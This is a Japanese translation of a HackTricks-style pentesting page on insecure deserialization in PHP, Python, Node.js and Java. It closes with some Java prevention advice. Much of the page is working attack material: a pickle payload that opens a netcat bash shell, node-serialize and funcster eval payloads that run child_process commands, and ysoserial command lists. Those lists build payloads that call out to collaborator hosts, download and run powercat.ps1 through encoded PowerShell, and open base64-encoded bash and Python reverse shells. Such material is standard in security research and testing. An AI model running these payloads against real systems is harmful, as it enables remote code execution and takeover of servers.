.. | ||
nodejs-proto-prototype-pollution | ||
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md | ||
basic-java-deserialization-objectinputstream-readobject.md | ||
exploiting-__viewstate-knowing-the-secret.md | ||
exploiting-__viewstate-parameter.md | ||
java-dns-deserialization-and-gadgetprobe.md | ||
java-jsf-viewstate-.faces-deserialization.md | ||
java-transformers-to-rutime-exec-payload.md | ||
jndi-java-naming-and-directory-interface-and-log4shell.md | ||
php-deserialization-+-autoload-classes.md | ||
python-yaml-deserialization.md | ||
README.md |
デシリアライゼーション
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したいまたは HackTricks をPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- **💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローする。
- ハッキングトリックを共有するために、 HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出する。
基本情報
シリアライゼーションは、オブジェクトを保存したり、通信プロセスの一部として送信するための形式に変換する方法として理解されます。この技術は、オブジェクトが後で再作成され、その構造と状態が維持されることを保証するために一般的に使用されます。
デシリアライゼーションは、逆に、シリアライゼーションを相殺するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
デシリアライゼーションは危険である可能性があります。なぜなら、攻撃者がシリアライズされたデータを操作して有害なコードを実行したり、オブジェクト再構築プロセス中にアプリケーションで予期しない動作を引き起こす可能性があるからです。
PHP
PHPでは、シリアライゼーションおよびデシリアライゼーションプロセス中に特定のマジックメソッドが使用されます:
__sleep
: オブジェクトがシリアライズされているときに呼び出されます。このメソッドは、シリアライズする必要があるオブジェクトのすべてのプロパティの名前の配列を返すべきです。保留中のデータを確定させたり、同様のクリーンアップタスクを実行するために一般的に使用されます。__wakeup
: オブジェクトがデシリアライズされているときに呼び出されます。シリアライズ中に失われたデータベース接続を再確立したり、他の再初期化タスクを実行するために使用されます。__unserialize
: このメソッドは、オブジェクトがデシリアライズされているときに、__wakeup
の代わりに呼び出されます(存在する場合)。__wakeup
と比較して、デシリアライゼーションプロセスに対するより多くの制御を提供します。__destruct
: このメソッドは、オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されます。ファイルハンドルを閉じたり、データベース接続を閉じたりするなどのクリーンアップタスクに通常使用されます。__toString
: このメソッドはオブジェクトを文字列として扱うことを可能にします。ファイルの読み取りなど、それに基づいて関数呼び出しを行うために使用され、効果的にオブジェクトのテキスト表現を提供します。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
結果を見ると、オブジェクトがデシリアライズされるときに関数**__wakeup
と__destruct
が呼び出されることがわかります。いくつかのチュートリアルでは、__toString
関数が属性を表示しようとすると呼び出されるとされていますが、どうやらそれはもはや起こらなくなっている**ようです。
{% hint style="warning" %}
クラスに実装されている場合、メソッド**__unserialize(array $data)
は__wakeup()
の代わりに**呼び出されます。これにより、シリアル化されたデータを配列として提供してオブジェクトを逆シリアル化することができます。このメソッドを使用してプロパティを逆シリアル化し、必要なタスクを実行することができます。
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
PHPの例についてはこちらを参照してください: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/、こちら https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf、またはこちら https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
PHPのautoload機能を悪用して、任意のPHPファイルやその他を読み込むことができます:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
参照値のシリアル化
何らかの理由で、値を他の値に対する参照としてシリアル化したい場合は、次のようにします:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (PHP用のysoserial)
PHPGGCは、PHPの逆シリアル化を悪用するペイロードを生成するのに役立ちます。
アプリケーションのソースコードで逆シリアル化を悪用する方法を見つけることができない場合がいくつかありますが、外部のPHP拡張機能のコードを悪用することができるかもしれません。
したがって、サーバーのphpinfo()
を確認し、インターネット上(PHPGGCのガジェットを含む)で悪用できる可能性のあるガジェットを検索してください。
phar://メタデータ逆シリアル化
ファイルを読み取り、その中のPHPコードを実行していないLFIを見つけた場合(たとえば、file_get_contents()、fopen()、file()、file_exists()、md5_file()、filemtime()、filesize()などの関数を使用している場合)、pharプロトコルを使用してファイルを読み取る際に発生する逆シリアル化を悪用することができます。
詳細については、次の投稿を読んでください:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
オブジェクトがアンピクルされると、関数 __reduce__ が実行されます。
悪用されると、サーバーがエラーを返す可能性があります。
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
以下は、pickle jails からの脱出に関する詳細情報を確認してください:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml & jsonpickle
次のページでは、YAML Pythonライブラリでの安全でない逆シリアル化を悪用する技術が紹介され、Pickle、PyYAML、jsonpickle、ruamel.yaml 用のRCE逆シリアル化ペイロードを生成するために使用できるツールで終わります:
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
クラス汚染(Pythonプロトタイプ汚染)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
JS Magic Functions
JSにはPHPやPythonのような**"マジック"関数はありませんが、オブジェクトを作成するだけで実行される関数があります。ただし、toString
、valueOf
、toJSON
など、直接呼び出さなくても頻繁に使用される関数があります。逆シリアル化を悪用すると、これらの関数を妥協**して他のコードを実行できる可能性があります(プロトタイプ汚染を悪用することができます)。
別の関数を直接呼び出さずに呼び出す方法は、非同期関数(プロミス)によって返されるオブジェクトを妥協することです。なぜなら、その返されたオブジェクトを別のプロミスに変換し、関数型の"then"プロパティを持つと、別のプロミスによって返されるため、実行されるからです。詳細はこのリンクを参照してください。
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
と prototype
の汚染
このテクニックについて学びたい場合は、以下のチュートリアルを参照してください:
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
このライブラリは、関数をシリアル化することを可能にします。例:
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
シリアライズされたオブジェクトは次のようになります:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
例では、関数がシリアル化されるときに _$$ND_FUNC$$_
フラグがシリアル化されたオブジェクトに追加されることがわかります。
node-serialize/lib/serialize.js
ファイルの中に、同じフラグとそのコードがどのように使用されているかが見つかります。
最後のコードチャンクで見られるように、フラグが見つかった場合、eval
が使用されて関数の逆シリアル化が行われます。つまり、ユーザー入力が eval
関数の中で使用されていることになります。
ただし、関数を単にシリアル化するだけでは、それを実行することはできません。例では、コードの一部が**y.rce
を呼び出している必要があり、それは非常に起こりにくい**ことです。
とにかく、オブジェクトが逆シリアル化されるときにシリアル化された関数が自動的に実行されるように、シリアル化されたオブジェクトにいくつかの括弧を追加することができます。
次のコードチャンクでは、最後の括弧に注目し、unserialize
関数がコードを自動的に実行する方法に注目してください:
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
Japanese Translation:
如前所述,このライブラリは_$$ND_FUNC$$_
の後にコードを取得し、eval
を使用して実行します。したがって、コードを自動実行するためには、関数作成部分と最後の括弧を削除し、次の例のようにJSのワンライナーを実行するだけです:
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
以下は、この脆弱性を悪用する方法に関する詳細情報をこちらで 見つけることができます。
funcster
funcsterの注目すべき側面は、標準組込オブジェクトにアクセスできないことです。これらはアクセス可能な範囲外にあります。この制限により、組込オブジェクト上のメソッドを呼び出そうとするコードの実行が阻止され、"ReferenceError: console is not defined"
のような例外が発生します。例えば、console.log()
やrequire(something)
などのコマンドを使用した場合です。
この制限にもかかわらず、特定のアプローチを使用することで、グローバルコンテキストへの完全なアクセス、つまりすべての標準組込オブジェクトへのアクセスを復元することが可能です。グローバルコンテキストを直接活用することで、この制限をバイパスすることができます。たとえば、以下のスニペットを使用してアクセスを再確立することができます。
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
詳細については、このソースを読んでください。
serialize-javascript
serialize-javascript パッケージは、シリアル化のためだけに設計されており、組み込みの逆シリアル化機能を持っていません。ユーザーは、自分自身の逆シリアル化メソッドを実装する責任があります。直列化されたデータを逆シリアル化するための公式の例では、eval
の直接的な使用が提案されています。
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
この関数を使用してオブジェクトをデシリアライズすると、それを簡単に悪用できます。
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
詳細については、このソースを読んでください。
Cryoライブラリ
このライブラリを悪用して任意のコマンドを実行する方法についての情報は、以下のページで見つけることができます:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Javaでは、逆シリアル化コールバックは逆シリアル化のプロセス中に実行されます。この実行は、悪意のあるペイロードを作成し、これらのコールバックをトリガーすることで悪意のあるアクションの実行が可能になる攻撃者によって悪用される可能性があります。
フィンガープリント
ホワイトボックス
コードベース内の潜在的なシリアル化の脆弱性を特定するには、以下を検索します:
Serializable
インターフェースを実装するクラス。java.io.ObjectInputStream
、readObject
、readUnshare
関数の使用。
特に注意すべき点:
- 外部ユーザーによって定義されたパラメーターを使用する
XMLDecoder
。 - 特にXStreamのバージョンが1.46以下の場合、
XStream
のfromXML
メソッド。これはシリアル化の問題に対して脆弱です。 ObjectInputStream
とreadObject
メソッドの組み合わせ。readObject
、readObjectNodData
、readResolve
、またはreadExternal
などのメソッドの実装。ObjectInputStream.readUnshared
。Serializable
の一般的な使用。
ブラックボックス
ブラックボックステストでは、ObjectInputStream
から派生したJavaシリアル化オブジェクトを示す特定の シグネチャまたは "マジックバイト" を探します:
- 16進数パターン:
AC ED 00 05
。 - Base64パターン:
rO0
。 Content-type
がapplication/x-java-serialized-object
に設定されたHTTPレスポンスヘッダー。- 圧縮前を示す16進数パターン:
1F 8B 08 00
。 - 圧縮前を示すBase64パターン:
H4sIA
。 .faces
拡張子とfaces.ViewState
パラメーターを持つWebファイル。これらのパターンをWebアプリケーションで発見した場合は、Java JSF ViewState Deserializationに関する投稿の詳細な調査を促すべきです。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
脆弱性があるかどうかを確認する
Java Deserialized exploitの動作原理を学びたい場合は、Basic Java Deserialization、Java DNS Deserialization、およびCommonsCollection1 Payloadを参照してください。
ホワイトボックステスト
既知の脆弱性を持つアプリケーションがインストールされていないかを確認できます。
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
あなたは脆弱であると知られているすべてのライブラリをチェックして、Ysoserialがエクスプロイトを提供できるものを確認することができます。または、Java-Deserialization-Cheat-Sheetで示されているライブラリをチェックすることもできます。
また、gadgetinspectorを使用して、悪用できる可能性のあるガジェットチェーンを検索することができます。
gadgetinspectorを実行する際(ビルド後)、通過する警告/エラーの数には気にせず、完了させてください。すべての調査結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。gadgetinspectorはエクスプロイトを作成せず、誤検知を示す可能性があります。
ブラックボックステスト
Burp拡張機能gadgetprobeを使用すると、使用可能なライブラリ(バージョンも含む)を特定できます。この情報を使用すると、脆弱性を悪用するためのペイロードを選択するのが簡単になるかもしれません。
GadgetProbeについて詳しくはこちらを読んでください。
GadgetProbeは**ObjectInputStream
の逆シリアル化**に焦点を当てています。
Burp拡張機能Java Deserialization Scannerを使用すると、ysoserialで悪用可能な脆弱なライブラリを特定し、悪用することができます。
Java Deserialization Scannerについて詳しくはこちらを読んでください
Java Deserialization Scannerは**ObjectInputStream
**の逆シリアル化に焦点を当てています。
また、Freddyを使用して、Burp内の逆シリアル化脆弱性を検出することができます。このプラグインは、ObjectInputStream
関連の脆弱性だけでなく、JsonおよびYml逆シリアル化ライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用してそれらを確認しようとします。
Freddyに関する詳細情報はこちらで確認できます
シリアル化テスト
サーバーで使用されている脆弱なライブラリをチェックするだけでなく、シリアル化オブジェクト内のデータを変更して一部のチェックをバイパスできるかもしれません(たとえば、Webアプリ内で管理者権限を付与できるかもしれません)。
Webアプリケーションに送信されるJavaシリアル化オブジェクトを見つけた場合、SerializationDumperを使用して、送信されるシリアル化オブジェクトをより人間が読みやすい形式で表示できます。送信しているデータがわかると、それを変更して一部のチェックをバイパスするのが簡単になります。
エクスプロイト
ysoserial
Java逆シリアル化を悪用するための主要ツールはysoserialです(こちらからダウンロード)。複雑なコマンド(たとえば、パイプを使用する)を使用できるようにするysoseral-modifiedを検討することもできます。
このツールは**ObjectInputStream
の悪用に焦点を当てています。
インジェクションが可能かどうかをテストするために、RCEペイロードの前に「URLDNS」**ペイロードを使用することをお勧めします。とにかく、「URLDNS」ペイロードが機能しないかもしれませんが、他のRCEペイロードは機能するかもしれません。
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
java.lang.Runtime.exec() のペイロードを作成する際には、出力をリダイレクトするための ">" や "|" のような特殊文字、コマンドを実行するための "$()"、コマンドにスペースで区切られた引数を渡すことはできません(echo -n "hello world"
はできますが、python2 -c 'print "Hello world"'
はできません)。ペイロードを正しくエンコードするためには、このウェブページ を使用できます。
次のスクリプトを使用して、Windows と Linux 用の すべての可能なコード実行 ペイロードを作成し、その脆弱なウェブページでテストしてください:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
シリアルキラーバイパスガジェット
https://github.com/pwntester/SerialKillerBypassGadgetCollection を使用して、ysoserialと組み合わせてより多くのエクスプロイトを作成できます。このツールに関する詳細は、ツールが発表されたスライドで確認できます: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsecは、Javaの異なるJsonおよびYmlシリアライゼーションライブラリを悪用するペイロードを生成するために使用できます。
プロジェクトをコンパイルするために、pom.xml
にこの依存関係を追加する必要がありました:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Mavenをインストールし、プロジェクトをコンパイルしてください:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
このJava JSONライブラリについて詳しくはこちらを参照してください: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- いくつかのysoserialペイロードをテストしたい場合は、このWebアプリを実行できます: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Javaはさまざまな目的でシリアル化を多用しています:
- HTTPリクエスト: シリアル化は、パラメータ、ViewState、クッキーの管理などで広く利用されています。
- RMI (Remote Method Invocation): シリアル化に完全に依存するJava RMIプロトコルは、Javaアプリケーションのリモート通信の基盤です。
- RMI over HTTP: この方法は、シリアル化を利用してすべてのオブジェクト通信を行うJavaベースの厚いクライアントWebアプリケーションで一般的に使用されています。
- JMX (Java Management Extensions): JMXはネットワークを介してオブジェクトを転送するためにシリアル化を利用しています。
- カスタムプロトコル: Javaでは、標準的な方法として、今後のエクスプロイト例でデモンストレーションされるように、生のJavaオブジェクトの転送が行われます。
Prevention
一時的なオブジェクト
Serializable
を実装するクラスは、シリアル化されてはいけないクラス内のオブジェクトをtransient
として実装できます。例:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable
を実装する必要があるクラスのシリアライズを避ける
特定のオブジェクトがクラス階層のためにSerializable
インターフェースを実装する必要があるシナリオでは、意図しない逆シリアル化のリスクがあります。これを防ぐために、以下に示すように例外を一貫してスローするfinal
readObject()
メソッドを定義することで、これらのオブジェクトが逆シリアル化できないようにしてください。
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Javaにおける逆シリアル化セキュリティの強化
java.io.ObjectInputStream
をカスタマイズすることは、逆シリアル化プロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています:
- 逆シリアル化コードがあなたの管理下にある場合。
- 逆シリアル化に必要なクラスが既知の場合。
resolveClass()
メソッドをオーバーライドして、許可されたクラスに対して逆シリアル化を制限します。これにより、Bicycle
クラスのように明示的に許可されたクラス以外のクラスの逆シリアル化を防ぎます。
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
セキュリティ強化のためのJavaエージェントの使用は、コードの変更が不可能な場合のフォールバックソリューションを提供します。この方法は、主に有害なクラスをブラックリスト化するためにJVMパラメータを使用します:
-javaagent:name-of-agent.jar
デシリアライゼーションを動的にセキュアにする方法を提供し、即座のコード変更が実用的でない環境に最適です。
rO0 by Contrast Security で例を確認してください。
シリアライゼーションフィルターの実装: Java 9 では ObjectInputFilter
インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たす必要がある基準を指定する強力なメカニズムが提供されます。これらのフィルターはグローバルに適用するか、ストリームごとに適用することができ、デシリアライズプロセスに対する細かい制御を提供します。
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームに動的に構成することができます。例:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
外部ライブラリを活用したセキュリティの強化: NotSoSerial、jdeserialize、Kryoなどのライブラリは、Javaの逆シリアル化を制御および監視するための高度な機能を提供します。これらのライブラリは、ホワイトリストやブラックリストのクラス、逆シリアル化前のシリアル化されたオブジェクトの分析、カスタムシリアル化戦略の実装など、追加のセキュリティレイヤーを提供できます。
- NotSoSerial は、信頼されていないコードの実行を防ぐために逆シリアル化プロセスをインターセプトします。
- jdeserialize は、逆シリアル化せずにシリアル化されたJavaオブジェクトの分析を可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
- Kryo は、速度と効率を重視した代替シリアル化フレームワークであり、セキュリティを強化できる構成可能なシリアル化戦略を提供します。
参考文献
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- 逆シリアル化とysoserialに関するトーク: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Gadgetinspectorに関するトーク: https://www.youtube.com/watch?v=wPbW6zQ52w8 およびスライド: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec論文: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Javaおよび.Net JSON逆シリアル化 論文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, トーク: https://www.youtube.com/watch?v=oUAeWhW5b8c およびスライド: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- 逆シリアル化CVE: https://paper.seebug.org/123/
JNDI Injection & log4Shell
JNDI Injectionとは何か、RMI、CORBA、LDAPを介してどのように悪用できるか、およびlog4shellをどのように悪用するか(およびこの脆弱性の例)については、以下のページで確認してください:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Java Message Service
Java Message Service (JMS) API は、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサーとコンシューマーの問題を処理する実装です。JMSはJava Platform, Enterprise Edition (Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Java Community Processによってガイドされています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取ることを可能にするメッセージング標準です。分散アプリケーションの異なるコンポーネント間の通信を緩やかに結合し、信頼性があり非同期であることを可能にします。(Wikipediaより)。
製品
このミドルウェアを使用してメッセージを送信するいくつかの製品があります:
悪用
